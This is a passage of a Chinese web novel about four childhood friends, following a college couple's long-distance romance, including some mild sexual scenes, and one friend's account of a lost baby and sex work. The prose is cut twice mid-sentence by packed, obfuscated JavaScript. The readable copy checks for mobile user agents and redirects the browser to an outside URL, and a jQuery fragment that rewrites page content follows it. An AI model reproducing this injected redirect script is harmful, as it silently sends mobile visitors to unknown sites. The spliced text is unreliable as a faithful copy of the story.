潘露看着她匆忙的背影,恨铁不成钢地说:“我怎么有这么一个恋爱脑的闺蜜!她这样下去迟早要完,就算结婚了,这种老妈子式的付出,等罗斌腻了肯定要分手!” 我没说话,看着苏冉小跑着骑上电动车离开,心里特别难受。 爱情怎么会把人变成这样?不是说爱人先爱己吗? 看着苏冉为爱情迷失自我的样子,我突然格外珍惜和沈晋川之间简单纯粹,相互尊重的爱情了。 我们的假期没什么特别的事,沈晋川去他表哥的奶茶店帮忙,我闲着没事就拉着潘露去看他,那段时间喝奶茶都快喝吐了。 我常常站在院门外发呆,望着向花街口的方向看,有时候不知不觉就走到严莉莉家门口了,那扇红色的木门上了锁,从门缝往里看,院子里满是落叶。 那棵桂花树还在,每年都会开花,可她爸爸种的梨树已经死了。 自从严莉莉和她妈妈走后,这个院子就再也没人回来过了。 我突然会有一瞬间的孤单,觉得长大真没意思,我们小时候都盼着长大,盼着离开向花街。 可现在,我们似乎都离开了,却又被以前的那些回忆困在了这里。 我总是不由自主的想起以前的事,那时候的我们总有说不完的话,做不完的事。 最快乐的就是在严莉莉家,偷偷穿她妈妈的裙子学模特走路,在我家后院,围着小桌子吃零食,看潘露给我们跳舞。 在向花街口的大石头上看星星,说要一起离开这里,去同一个地方,永远不分开,等老了还要手拉手跳舞,做四个快乐的老太太。 可现在,我们都去了不同的城市,过着截然不同的生活。有时候突然觉得,像从前那样,四个人挤在一张床上聊天到天亮,都成了一种奢侈。 记得那时候,我们总是嫌夜太短,话太多。 潘露的床明明那么小,我们偏要挤在一起,严莉莉最爱讲鬼故事,吓得我们直往被子里钻,苏冉总是说着说着就睡着了,我们三个还要偷偷摸摸地继续聊。 现在想想,那时候多简单啊,一张小床,几包零食,就能让我们开心一整个晚上。 可现在呢?我们有了不同的生活,苏冉忙着挣钱,严莉莉不知道在哪儿,偶尔视频聊两句就断了联系,好像再也找不到以前的那种感觉了。 开学的时候,沈晋川给了我两千块钱,让我先转给苏冉,他说这是他打工挣的,这样我就不用那么省吃俭用了。 我很感动,抱着他说:“我怎么这么幸运遇到你啊。” 他笑着回我:“觉得幸运就把我抓牢,千万别松手。” 我搂着他的脖子亲他:“我才不松手呢!” 沈晋川说他也不松手,要抓着我一辈子。 校园生活还是老样子,每天除了学习就是想沈晋川。 陈鹭依旧在写他的爱情小说,总是一个人安安静静的坐着,有时候会给我带些小吃,跟我聊几句。 他在学校里算是我关系最好的异性朋友了。 自从知道他的故事后,我对他的戒心也放下了,关系也近了不少,他问我问题时,我也会真心的给他建议。 但他好像还是在我身上找别人的影子,经常聊着聊着就盯着我发愣。 我说他该谈段恋爱了,把心思放在新的人和事上,他却总说喜欢一个人待着。 大二那年,罗斌爸爸走了。 苏冉在电话里哭着说,好好一个人被化疗折磨得只剩皮包骨,她告诉我们她想和罗斌结婚,罗斌也去她家提亲了,可她爸妈开口就要十万彩礼,少一分都不行。 她说罗斌家为了治病早就掏空了,根本拿不出这么多钱,但她爸妈咬死了没彩礼就不同意。 那阵子苏冉特别消沉,总在问为什么自己是个女孩,为什么父母这么重男轻女,为什么自己这么穷。 因为凑不齐彩礼,结婚的事只能先搁着。 渐渐地,苏冉越来越忙,和我们联系也越来越少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个问题她反反复复问了很多遍,像是在问我们,又像是在问自己,每当这时,她的眼神就会变得特别空洞,好像整个人都被掏空了一样。 佟雯在愤怒和痛苦中反复挣扎。 夜深了,我们都上了床,她还坐在那里,盯着黑屏的手机发呆,偶尔能听见她压抑的抽泣声。 听着佟雯抽泣的声音,我心里特别难受,想安慰,却又不知还能说什么安慰的话来。 记得不久前她还跟我们炫耀,说男朋友对她多体贴,多宠她,可转眼间,那些甜蜜就像泡沫一样碎了。 我实在想不通,明明上周他们还开开心心出去玩,怎么才几天功夫,说变心就变心了? 我突然有点害怕起来,我和沈晋川异地,他在学校会不会也对别人动心?我们已经很久没有见面了,他会不会也变心? 虽然理智告诉我沈晋川不是那样的人,我也经常向潘露打听他的近况,但看着佟雯现在的样子,我还是会忍不住乱想。 第二天,佟雯看起来好多了,但眼睛肿得厉害,我们安慰她,她勉强笑着说没事,说哭过就好了,再也不会为那个人难过了。 可我知道她在逞强,因为我看见她偷偷擦了好几次眼泪。 中午在校园里,看到别的情侣手牵着手,我心里特别难受,越来越想沈晋川。 我忍不住给他打电话,可他没接。以前他不接电话,我都知道他肯定在忙,过会就会回过来,但那天不知道怎么了,心里特别闷,又连着打了两个,还是没人接。 没过多久,沈晋川回电话过来。 “你为什么不接我电话?”电话接通,我就问。 “刚才在实验室,手机静音了,怎么了呀宝宝。” “再忙也该接我电话啊……”我鼻子一酸。 沈晋川立刻察觉到我情绪不对:“宝宝你怎么了?” “我想你了。”我的声音带着哭腔。 “老公也好想你。”沈晋川温柔地说,“等小长假老公就能去看你了,很快的。” 不知为什么,眼泪突然就掉下来了:“我想吃草莓蛋糕……想吃大白兔奶糖……我想见你……我不想等到小长假,我们太久没见了……” 我边哭边说,眼泪止不住的流。确实是想沈晋川了,但为什么哭成那样,我也不知道。 电话那头沈晋川明显慌了:“宝宝别哭,老公现在就给你点外卖好不好?” “不要!”我抽泣着,“我要吃你亲手买的。” “好好好,下次见面老公买给你,好不好。”沈晋川心疼地说,“别哭了宝宝,老公先给你点外卖,等见面你想吃什么老公都买,好不好。” “不好。”我的眼泪根本止不住,“为什么我们不在一个地方?这么久不见,你都不想我吗?” 16. 你太诱人了 电话那头,沈晋川焦急地哄着我:“我怎么可能不想你呀宝宝,我每晚都要反复看我们的合照和聊天记录,恨不得天天陪在你身边,再坚持一下,等放假老公就去看你,我们去你上次说的那个游乐园好不好?” 他温柔的话语渐渐抚平了我的情绪,我轻声应下,说到时候要一起拍很多照片,他笑着说好,说要把这些照片都洗出来,将来挂满我们的家。 挂断电话我才后知后觉,今天的自己格外不对劲,明明平时都能很好地控制情绪,今天却莫名变得特别敏感,不知道为什么,就感觉特别想见沈晋川。 晚上回到宿舍,沈晋川给我点了外卖,草莓蛋糕,还有一包大白兔奶糖。 我给他发视频,他笑着问:“蛋糕甜吗?” 我挖了一勺送进嘴里:“没有你买给我的甜。” 沈晋川笑弯了眼睛:“那等见面的时候,老公买给你吃,好不好?” 我撒娇道:“等见面你喂我吃。” 沈晋川眼里满是宠溺:“好。” 我又拆了颗奶糖:“大白兔奶糖也不甜。” 沈晋川抬手点了点镜头,像是在戳我的脸,“因为我的小馋猫是最甜的呀,把糖的甜味都盖过去啦,它们吃到你嘴巴里,自然就没有那么甜啦。” “你要不要吃?”我舀起一勺蛋糕凑近镜头,“啊,张嘴。” 沈晋川立刻配合地张大嘴“啊呜”一口,然后眯起眼睛装模作样地品了品:“嗯……确实没我家宝宝甜。” 我噗嗤笑出声,假装举起胳膊咬了一口自己:“我也不甜啊。” “甜!”沈晋川眼神突然暗了暗,喉结滚动了一下,“甜的我现在就想尝尝。” 我把胳膊递到屏幕前:“给你咬一口尝尝。” 沈晋川压低声音,嘴角勾出一个坏笑:“先留着,等见面我要亲自尝。” “见面才不给你尝呢!” “就要尝!” “不给你!” “就要!” 我们就这样幼稚的斗嘴,直到我把蛋糕吃的干干净净,我们才挂断电话。 挂断前,沈晋川还叮嘱我:“早点睡,别想着明天周末又熬夜。”我吐了吐舌头,看着他宠溺的眼神,依依不舍的挂断了电话。 因为肚子不舒服,我挂了视频,洗漱完早早就睡了。 或许是日有所思夜有所梦,我做了个甜甜的梦,梦见沈晋川突然出现在我面前,紧紧抱着我边亲边说想我了。 早上九点,我被电话铃声吵醒,沈晋川在电话里说给我点了外卖,让我去校门口取。 我迷迷糊糊地起床洗漱,简单收拾了一下就出了门,可到了校门口,左等右等都不见外卖员的踪影。 正当我疑惑地四处张望时,一个熟悉的身影突然出现在我面前,是沈晋川!他左手捧着一束玫瑰,右手提着一个草莓蛋糕,笑得一脸灿烂:“surprise!” 我整个人都愣住了,呆呆地站在原地。 昨晚视频时他还说等小长假才能来看我,怎么今天就突然出现了?他居然一点风声都没透露,就这样给了我一个天大的惊喜。 见我没反应,沈晋川笑着走过来,把花束塞进我怀里,温柔地揉了揉我的头发:“怎么,见到老公开心得说不出话了?” “你……你怎么突然来了?”我还有些不敢相信。 “想你了,就来了。”沈晋川晃了晃手里的蛋糕,“昨天那个不甜,今天这个肯定甜。” 我让他等我会儿,我去换身衣服,抱着花跑回宿舍,换衣服时我的脑子还是懵的,心跳快得不像话。 沈晋川就这样突然出现在我面前了?虽然很开心,但为什么偏偏选这周来呢?来之前怎么不跟我说呢? 等我小跑着回到校门口,直接扑进了沈晋川怀里。 他稳稳地接住我,低头吻住我的唇:“好久没尝了,还是这么甜。”又轻轻啄了几下,“开不开心?” 我搂着他的脖子,既甜蜜又无奈:“开心,但你为什么这两天来啊?我来例假了。” 他明显愣了一下:“什么时候来的?” “昨晚。”我亲他,“吃不到了,都怪你,来之前也不说一声,浪费车钱。” 沈晋川笑着回吻我:“不白跑,我买了蛋糕,待会回宾馆,我喂你吃。” 他的眼里满是宠溺,仿佛只要能见到我,其他的都不重要。 我们一起回到宾馆,沈晋川坐在床边,小心翼翼地用叉子喂我吃蛋糕。 我含着奶油笑道:“你买的果然特别甜。” 他突然倾身吻住我,舌尖卷走我唇边的奶油,低笑道:“我觉得还是没你甜。” 原本想着吃完蛋糕出去玩,我不想动,我俩就躺在床上看电影,沈晋川的手臂环在我腰间,看着看着,我突然想吻他了。 我仰头吻他,他立即收紧手臂回应,缠绵的亲吻间,我明显感觉到他的身体变化,本想退开让他缓缓,却突然起了玩心。 我继续吻他,吻顺着他的唇角滑到脖颈,故意在喉结上轻轻一舔。 沈晋川呼吸顿时粗重起来,手臂绷紧:“老婆,别勾我了。” 我抬头,假装听不懂他在说什么,眨着眼睛看他。 沈晋川惩罚般咬了下我的唇:“坏孩子。” 我戳戳他的胸口:“你硌到我了。” 沈晋川眼神暗沉:“那怎么办?你太诱人了。” 我轻啄他的唇:“明明是你定力太差。” 沈晋川哑声道:“再好的定力也经不起你这么撩拨。” 他说完连着在我唇上啄了好几下,然后松开我说要去上厕所,我拽住他衣角:“你是不是要去做坏事?” 沈晋川挑眉:“一起去?你看看我是不是去做坏事。” 我红着脸骂他流氓,死死搂住他脖子不让他走。 沈晋川无奈地吻我的额头:“不去也行,那让我缓缓好不好?别再撩拨我了。” 我坏笑着摇头,手指故意隔着衣服画圈,他突然翻身把我压住:“坏孩子,等你好了一定好好收拾你。”炽热的吻落下来:“让你现在嚣张。” 我喘着气说:“可惜你回去前我都好不了。” 沈晋川咬着我的耳垂低语:“我还会来的,等我下次来你就惨了。”他边说边吻我,然后挠我痒痒,问我能不能先让他缓缓,我笑着求饶,“可以可以,让你缓缓!” 第二天我们去了游乐场,沈晋川一手拿着奶茶,一手牵着我,我们拍了好多照片,他总是不厌其烦地找路人帮我们拍合影,说要凑够九宫格发朋友圈。 晚上送他去车站时,我强忍着没哭,进站前他把我搂在怀里深深吻我,说下次见面很快的。 果然,小长假一到他就连夜来了,我在车站踮着脚尖张望,看到他出来的瞬间,直接飞奔过去扑进他怀里。 他稳稳接住我转了个圈,在我耳边说:“想死你了。” 回宾馆放行李时,我兴致勃勃地规划着行程:“我们先去吃那家火锅,然后明天在去……” 话还没说完,他突然一把将我拉进怀里,灼热的呼吸喷在我耳畔:“先吃你。” 说罢,他就迫不及待地把我压在床上开始吻我。 那个小长假我们几乎没踏出宾馆一步,饿了就叫外卖,吃饱了就缠绵,他像是要把这几个月的思念都补回来,总是一遍遍吻我,在我耳边说情话。 到最后我瘫在床上求饶:“不来了,好累。” 沈晋川却认真地拿过枕头垫在我腰下:“这样就不累了。” 我看着他认真的模样信了他的话,结果垫上枕头后,反而更累了。 他笑着吻我汗湿的额头:“最后一次,我保证。”当然,这个“最后一次”是不作数的,谁让我上次撩拨他呢。 小长假过后,我们又回到了异地恋的状态,每次视频时,只要沈晋川一说想我,我就忍不住隔着屏幕撩拨他。 他总会咬牙切齿地说:“你现在就仗着我碰不到你可劲儿撩是吧?等见面看我怎么收拾你。”后来视频时,他常常红着耳朵求饶,“宝宝,老婆,别勾了,等见面了你在撩,好不好。” 放暑假回家那天,我们照例在市里住了一晚才各自回家,临分别前,沈晋川告诉我,他已经和表哥说好了,要去表哥的奶茶店帮忙。 “你要是有空就来找我。”他揉着我的头发说。 我点点头:“好,我在家待两天就去找你。” 每次回到向花街,心里总是涌起一种奇妙的感觉,这个小时候总想逃离的地方,如今每次放假却总是迫不及待地想回来看看。 潘露这次没和我一起回来,她说要 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我又追问:“那你住哪儿?今晚要回市里吗?” 她家的老房子已经空置很久了,我猜她应该不会住这里,但回市里,是去她妈妈那里,还是另有住处呢?我不知道。 严莉莉随手拨了拨长发,漫不经心地说:“不回市里,就在家住。”她伸手揉了揉我的发顶,勾着红唇,“想姐姐了没,小屁孩?” 我用力点头:“当然了!你走了这么久杳无音信,知不知道我们多担心?我隔三差五给你留言你也不想着回我们一下!诶!你回来的事情告诉潘露和苏冉了吗?她们如果知道肯定马上回来!” 说完,我又忍不住连珠炮似的追问:“你这几年一直在广州吗?在广州做什么工作?过得好不好?累不累?怎么都不和我们联系?林熙和你一起回来了吗?” 提起林熙,她一怔,没接我的话茬,反而眯着画着浓重眼线的眼睛,把我从头到脚打量了一遍。 突然“啧”了一声:“三年了怎么还是个豆芽菜,干扁扁的。”说着伸手就要戳我的胸口,“不行你买点木瓜吃,我听她们说拿东西有用,不过你这底子……”她故意拖长音调,“我估计不吃个十年八年也没啥用。” “严莉莉!”我涨红着脸扑上去要捂她的嘴。 她灵巧地后仰躲开,一把抓住我的手腕,假意嗔怪:“别闹,我刚画好的妆,你在给我弄花了。” 她涂着红色甲油的手抓着我的手腕,尖长的美甲活像西游记里老鼠精的爪子,看着就吓人。 “你家房子这么久没人住,肯定要收拾很久。”我担心地说,“要不去我家住吧?” 严莉莉松开手,随意地挥了挥:“下午回来简单收拾过了,能住人。”她突然揽住我的肩膀,“有事没?姐请你吃饭去?” 虽然已经吃过晚饭,但我有太多问题想问她,连忙点头答应,她问我想吃什么,我说去当年她临走前请我们吃饭的那家小炒店。 店还在,只是老板换成了老店主的儿子。 我赶紧掏出手机给潘露和苏冉发消息,告诉她们严莉莉回来了,她俩几乎同时发来视频,激动地嘱咐我一定要看好严莉莉,她们明天一早就赶回来。 我连连答应:“放心,我一定把人看住。” 点了两个家常菜后,我忍不住盯着严莉莉的脸看:“你干嘛画这么浓的妆?粉底厚得跟墙腻子似的。” 严莉莉自然地从包里摸出烟盒,熟练地点上一支:“你个小屁孩,真没审美!” 看她吞云吐雾的样子,我瞪大眼睛:“你什么时候学会抽烟了?” 严莉莉笑着把烟递过来:“要不要来一口?” 我连忙摇头:“才不要!”接着追问,“你在广州跟着林熙做什么?怎么还学会抽烟了?你抽烟他不管你吗?” 话刚说完,严莉莉的手机突然响了,她接起来简短地说了几句“在和姐妹吃饭”“知道了”“不用”,就挂断了。 我凑过去八卦:“是林熙吗?” 严莉莉瞥了我一眼,嘴角勾起一抹笑:“一个弟弟。” 我一时没反应过来:“啊?” 严莉莉深深吸了口烟,缓缓吐出烟圈:“我和林熙,早分手了。” 17. 夜晚的蝴蝶 再次提起林熙,严莉莉表情很平静,完全没有当初义无反顾要跟他去广州时的那种热情了。 她斜靠在椅背上,一只手随意地搭着椅背,另一只手夹着烟搁在桌沿。 我盯着她侧脸,她长长的假睫毛挡住了大半的眼神,在她吐烟的时候,我还是看见她眼里闪过了一丝难过,但马上又笑着掩饰过去了。 “什么时候的事啊?”我小心翼翼地问。 严莉莉弹了弹烟灰,红唇懒懒地挑了一下:“一年前吧,具体的时间记不太清楚了,好像是七夕那天分的。”说完她自己愣了一下。 明明说记不清了,却还记得是七夕,我心里突然有点发酸。 这三年她在广州到底发生了什么?为什么会变成现在这样?看着她浓妆下陌生的脸,我鼻子一酸。 她应该也很难过吧,只是不肯表现出来。 她装作无所谓的样子,可提起林熙时,眼神里的那点难过是骗不了人的。 我看着她,想问他们为什么分手,喉咙滚动了几下,最终又咽了回去,我想我也许已经知道了答案。 两个成年不久的孩子,以为偷尝禁果后,迎接他们的就是爱情,义无反顾地跑奔向陌生的城市,可生活不是童话,要赚钱要生存,朝夕相处反而让矛盾越来越多,现实的重担很快就把那点可怜的激情压的粉碎,时间久了,分开是必然的。 我想问她这几年在广州过得怎么样,可话到嘴边却说不出口。 严莉莉转头看我盯着她,笑着撩了撩头发:“被姐迷住了?”说着从包里拿出一沓钱,“当时借的一万块钱。”又拿过我的手机存号码,“这是我的私人号,以后只要你打,我一定接,不会再关机的。” 那沓钱还带着银行封条,我盯着那沓钱,喉咙发紧:“钱我不急用……” “拿着吧。”她打断我,随手把钱往我这边推了推,“我现在不缺钱。” 见她又要开口,我抢先道:“你先拿着,明天再给我也一样。”我扯了扯裙摆示意,“我裙子没口袋,装不了。” 严莉莉突然笑出声,拿起手机:“我倒是忘了,我加你微信转给你。” 她低头操作手机时,发丝垂落遮住了半边脸,我看着她的样子,恍惚间像是回到了上初中的时候,那时她也留着长发,不过没有现在这么长,也喜欢披着,这样微微低头,头发滑下来,遮住侧脸,只露出一点鼻尖和抿着的嘴角。 “你一直在广州吗?”我终于问出口,“这次来还回去吗?在广州做什么?” 话音未落,一阵刺耳的铃声从她包里传来。 严莉莉动作一顿,翻出另一部手机,看到来电显示,她皱眉“啧”了一声,骂了句“操,这老男人没完了”可接通的瞬间,她的声音立刻甜了八个度:“诶,王哥~人家还要过几天才回去呢~” 我看着她像变脸似的调整坐姿,说话的腔调变得黏腻腻的,“哎呀,怎么会呢王哥~嗯,好,到时候联系你~” 挂断后,她把手机往桌上一扔,“这老男人,还谈上感情了。”她端起啤酒灌了一大口,似乎察觉到我震惊的目光,突然笑了一下,又点了支烟。 “少抽点吧,这又不是什么好……” “我生了个孩子。”我话还没说完,严莉莉就突然开口了,她吐着烟圈,语气平静得像在说别人的事。 我整个人愣住了,半天没反应过来,甚至怀疑自己是不是听错了,还是她在开玩笑? “就是我问你们借钱那会儿。”严莉莉弹了弹烟灰,“快生了,我们没钱,见红后林熙送我去医院,结果说我高血压有风险,他们不收,让转院,刚到市里羊水就破了,医生让交钱住院,我们拿不出来,但我快生了医院也没办法就先给我接生了,生完又催着交钱,林熙说他搞不到钱,没办法,我就问你借了。”她又吸了口烟,吐出来时说,“真他妈疼!疼的我差点以为我要死了。” 我震惊得说不出话:“你……生了个孩子?” 严莉莉面无表情地点点头。 我缓了好久才问:“那孩子呢?”她和林熙分手了,孩子是被林熙带走了吗?她才多大啊,怎么对自己和孩子这么不负责呢? 她喝了口酒,连着抽了好几口烟,才开口:“不知道,被林熙送人了,不知道在哪。” 我整个人都傻了,这个消息比刚才那个还让人震惊,让我一时之间有些难以消化。 “送…..送人?” 严莉莉点点头,一口气喝完杯里的酒,开始给我讲她和林熙去广州后发生的事。 她抽了口烟,慢慢讲道:“我们到广州后,发现他那个朋友根本不是做生意的,就是在厂里打工,我们跟着干了段时间,林熙嫌太累,说天天加班到十一点还不能住一起,非要走,出来后租了个小房子,找工作不是要技术就是时间太长,最后我们都不想上班了,整天在家待着。” “他爱玩炫舞,买了台电脑说要当代练赚钱,我不懂这些,但也支持他,我在附近找了个卖衣服的工作,结果他买了电脑后,整天和游戏里的女的聊骚,还给人家发红包说要和人家奔现什么的,那时候我们自己都过得紧巴巴的。” 说到这里,严莉莉冷笑了一下,“我发现后和他大吵了一架,说要走,他保证以后不会了,我就原谅了,结果没过多久,我就有发现他和女的聊,还互发那种照片,每次趁我出门上班他们视频,说些上不了台面的话,后来我看聊天记录,那女的说要过来找他,他还同意了,结果被我发现了,我把那女的删了,让他把电脑卖了和我一起出去工作,他不,又给我认错,说他保证以后不会了,再有下次他就去死啊什么的,然后那段时间特别殷勤,不光接我上下班还主动做饭,我见他改变,就又原谅了……” 我听着心里难受,她就这样轻易的原谅了,说到底还是爱他。 他们以为这是在过家家吗?大老远跑去广州说要打拼,结果就是换个地方混日子。 林熙要是有责任心,怎么会这样?他爱严莉莉吗?我看不爱,也许他连什么是爱都不知道,二十岁认识严莉莉,可能一时冲动就在一起了,尝到了甜,以为那是爱情。 生活不是游戏,外面的诱惑太多,林熙爱玩不上进没责任心,严莉莉不仅没督促他改变,反而一次次纵容他,明知道他不忠诚,还是选择原谅。 可能林熙早就摸透了严莉莉的脾气,第一次被发现时,他或许害怕她离开,也许对她还有点感情,又或者只是想要个能赚钱养着他的人。 但几次之后,他发现严莉莉根本不会走,就越来越放肆,这样的关系,分手是迟早的事。 严莉莉停了一下,又点了支烟:“后来我发现例假好久没来,以前也不准,就没在意,慢慢的感觉肚子有点大了,我有点怕,就去医院检查,才知道怀孕快四个月了,我说打掉,他说要花很多钱,我们连一千块都拿不出来。” 她又吸了口烟,“他有点钱不是充游戏就是请朋友喝酒吃饭……哎呀,反正也不知道怎么的,最后就没去打。” “那段时间我们总吵架,我发现他还和之前那女的聊天,我生气就把电脑给砸了,他就火了,我们吵了一架,他就让我滚,因为没钱,手机也停机了,我大着肚子又没地方去,就和他吵架。” “吵完之后他就不搭理我了,隔三差五去网吧和那女的视频,那段时间他对我特别冷淡,我脱光躺他面前他都没感觉,我说什么他都生气,我也不知道怎么,就突然怕他和我分手,就开始变得有点委曲求全了。” 我听着严莉莉平静地说着这些事,心里疼得厉害,爱情怎么就把人变成这样了?我总觉得她是一个要强的人,怎么就成这样了?这就是她当初奋不顾身要跟着去广州追求的爱情吗? 她又接着说:“后来不知道怎么了,他和那女的就不联系了,我们也莫名其妙又好了,没钱,也就再没去过医院检查过,等再去医院就稀里糊涂的生了。生完后医生说孩子心脏不太好还是怎么回事,我也不太清楚,生下来我就看了一眼,他就把孩子抱走了,说孩子有病,我们没钱治不好,送人了,我问他送谁了,他说不认识,就说那家人有钱会对孩子好能给他治病。” 我听得说不出话来,爱别人之前,为什么总是学不会爱自己呢? 严莉莉这是在害自己啊!那是个活生生的孩子,不是玩具。 林熙有钱请客吃饭,没钱对她负责?他还是人吗?但凡有点良心都不会这样!怀孕生孩子多危险他不知道?万一出事怎么办? 严莉莉也是傻,林熙说没钱就不去?她没自己的想法吗?不为自己考虑吗? 可能那时候她觉得生了孩子林熙就会回心转意?太天真了,林熙那样自私的人怎么可能?我不明白严莉莉为什么觉得自己离不开他,他有什么魅力?有什么好的?我不懂。 人为什么会这样呢?明知道对方不爱了,还一次次降低底线,卑微地求对方看一眼,结果呢?感动了自己,人家根本不在乎。 严莉莉接着说:“出院后我再没见过孩子,那会儿他突然对我特别好,买了不少东西让我养身体,结果不到一周就开始天天往外跑,还买了辆摩托车,我问钱哪来的,他说是找他哥借的,后来我经常找不着他人影,他隔几天才回来一趟,大概过了一个多月吧,他回来了,应该是钱花完了,他又回来讨好我,想让我去上班。” 我听到这里突然有点想制止她说下去了,因为我已经想到了后面的故事,她肯定又原谅林熙了。 “那一个多月我想了很多,以前总觉得我爸窝囊,我妈那样了他还不离不弃,后来想想,我自己也没好到哪去,我常问自己怎么就那么爱他?后来发现其实也没那么爱,大多是不甘心吧,我付出了那么多,他凭什么那么对我。” “他可能见我不怎么搭理他,就开始不断讨好我,说一起去上班,或者我在家他挣钱养我,然后他就真去找工作上班了,我就想着如果他真能改,就在给他一个机会,结果才干两天就喊累,又跑去网吧了,我去找他,大吵了一架,我彻底死心,就走了。” 听到这里我又气又急,真想问问她为什么这么作践自己? 我不理解她的不甘心,因为爱情里最折磨人的就是不甘心。 当你付出太多,对方却无动于衷时,一旦他要离开,你就会陷入迷茫,你想不通为什么自己做了这么多,他还是不爱你,于是你就想证明自己,想让他看见你的好。 其实不是离不开,而是不甘心就这样走,你会觉得凭什么自己付出这么多,他却可以毫不在意?凭什么最后自己什么都得不到? 我想,严莉莉当初应该就是这样想的吧。 严莉莉喝了口酒继续说:“离开后我去找工作遇到个中年男人,说是招秘书,我就去了,他让我陪他去应酬,喝多了,醒来就发现他睡我旁边……现在想想也是蛮可笑的,我初中毕业什么都不懂,人家怎么可能招我当秘书。”她抿了抿唇,“他给了我一千块钱,算是封口费吧。” 她又点了支烟:“之后租房又认识了个在会所上班的女人,她听说我找工作,就介绍我去了。”她弹了弹烟灰,突然笑了,“然后就成了‘夜晚的蝴蝶’。” 她说这话时脸上没有一点羞耻,好像这很正常一样。 “夜晚的蝴蝶”,你听听,多高尚的词,听起来多体面啊。 可这体面的背后,又有多少说不出的狼狈呢?我想,只有她自己知道。 严莉莉说,爱情就像生病,让人昏头,有的人一辈子都走不出来,不是舍不得,就是太不甘心了,就像她当初一样。 林熙只顾自己快活,也许曾短暂的将她放在心里过,但肯定没有真正爱过她,可能他就是想找个免费养他的人,好在严莉莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464342|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后想通了,离开了。 因为严莉莉回来,我暂时抛弃了沈晋川,我告诉他严莉莉回来了,放假就不去找他了,让他别太想我。 他撒娇说会想我的,如果时间充足就去看看他,如果实在抽不开身就让我和朋友好好玩。 第二天,我和严莉莉在向花街等苏冉和潘露,见面时我们一点都没生疏,先来了个大大的拥抱。 苏冉皱着鼻子说:“莉莉,你喷了多少香水?熏死人了!” 严莉莉撩了下头发:“多香啊,你个小孩儿懂什么,男人都喜欢这样。” 她打量着潘露说潘露越来越漂亮,身材越来越好了,又说苏冉发育得不错,胸变大了,最后说就我还跟个小孩子似的。 苏冉听着严莉莉的话,说她不仅变成熟了,还越来越流氓了。 听我说起和沈晋川的事,严莉莉拍手叫好,说没想到当年学校的风云人物被我拿下了,她说有时间让我把沈晋川约出来她要见见,当年没见到,现在成了我的男人,她必须得见见。 潘露说严莉莉还是老样子,张口闭口不是男人就是女人,长大了还不害臊。 苏冉也说了她和罗斌的事。 我把还欠苏冉没还完的的钱转给她,她和潘露缠着严莉莉问这几年她到底干嘛去了,为什么不联系我们? 严莉莉又简单地说了一遍她的事,虽然没有昨晚跟我说的那么详细,但还是让人听得生气。 苏冉听完骂林熙不是东西,说渣男不会有好下场的!然后突然宣布要和罗斌结婚了。 我们都惊呆了。 我好奇:“你爸妈同意了?” 潘露问她:“不是说彩礼没谈妥吗?” 苏冉笑着说:“我爸妈把彩礼从十万降到六万六了,罗斌借钱凑了凑。”她一脸幸福,“我爸妈看拦不住我,最后只能同意,其实我和罗斌商量好了,要是他们还不同意,我们就先怀孕,等孩子生下来他们就没办法了。” 罗斌借钱都要娶她,苏冉说,如果这都不是爱情,那什么才是呢? 但苏冉没想过,这些借来的钱结婚后是要她一起还的,虽然她心甘情愿,可罗斌提出先怀孕逼父母同意的想法,就暴露了他的自私。 他根本不尊重苏冉,真正爱一个人,怎么会想着用怀孕来要挟对方父母?真爱一个人,又怎么会把孩子当成谈判的筹码? 但很显然,那时的苏冉一头扎进了爱情了,已经失去了自我判断的能力。 我甚至觉得苏冉太冲动了,她刚才还在骂林熙,怎么到自己身上就糊涂了? 我说:“你可千万不能这样。” 严莉莉轻轻敲她脑袋:“有我这个前车之鉴,你可别犯傻!孩子可不是说生就生的。” 苏冉不以为然:“林熙是渣男,他不爱莉莉,罗斌不一样,他爱我,这怎么能比?” 严莉莉劝她别太相信爱情,说爱情靠不住。苏冉却说即便不相信爱情,她也相信罗斌,然后又开始跟我们讲罗斌有多好多好。 我们问她婚礼什么时候办,一定要提前通知我们。 苏冉说大概在过年前,让我们一定要来,她特意对严莉莉说:“莉莉,你可不能再玩失踪。” 严莉莉保证:“放心吧,我一定来,还要给你包个大红包。” 那天严莉莉带我们去建峰镇最好的饭店,她说她请客,让我们随便点,我们要了一箱啤酒和几个菜,决定不醉不归。 吃完饭又去严莉莉家继续喝,四个人喝得东倒西歪,从小时候的糗事聊到现在的梦想,又哭又笑。 最后都倒在严莉莉的床上睡着了,早上醒来发现床已经装不下我们四个了。 严莉莉说等她赚了钱买大房子,给我们每人留一间,到时候我们没事就聚在一起。 苏冉说偶尔聚聚可以,等她结婚了,大部分时间都是要留给罗斌的。 潘露笑她是个花痴,我说怎么还没结婚就这么着急,苏冉却认真地说我们不懂,她说能遇到罗斌是她这辈子最大的幸运,甚至说她把所有的好运都用在了认识罗斌这件事上。 后来苏冉离开后,我常常想起她说的这句话,有时候忍不住会想,是不是她过早地透支了所有的好运,所以后来才会遭遇那么多不幸。 整个暑假,严莉莉都和我们腻在一起,大多数时候是我和潘露陪着她到处逛,苏冉偶尔出来,她总说她忙,后来我们发现她就是在家陪罗斌。 因为这事,严莉莉说了好一阵子她重色轻友。 暑假快结束时,严莉莉说要回广州了,我叫上沈晋川,约了潘露和苏冉一起吃饭。 严莉莉见到沈晋川就夸张的说:“学霸男神果然名不虚传,真帅啊!” 她缠着问沈晋川我们是怎么谈的恋爱,是谁先追的谁? 沈晋川笑着说当然是他追的我,这个回答让我很满意。 推杯换盏间喝的有点高兴了,严莉莉警告沈晋川一定要对我好,不然她就从广州回来揍他。 沈晋川牵起我的手吻了一下,温柔地看着我说当然会对我好,这辈子只对我好。 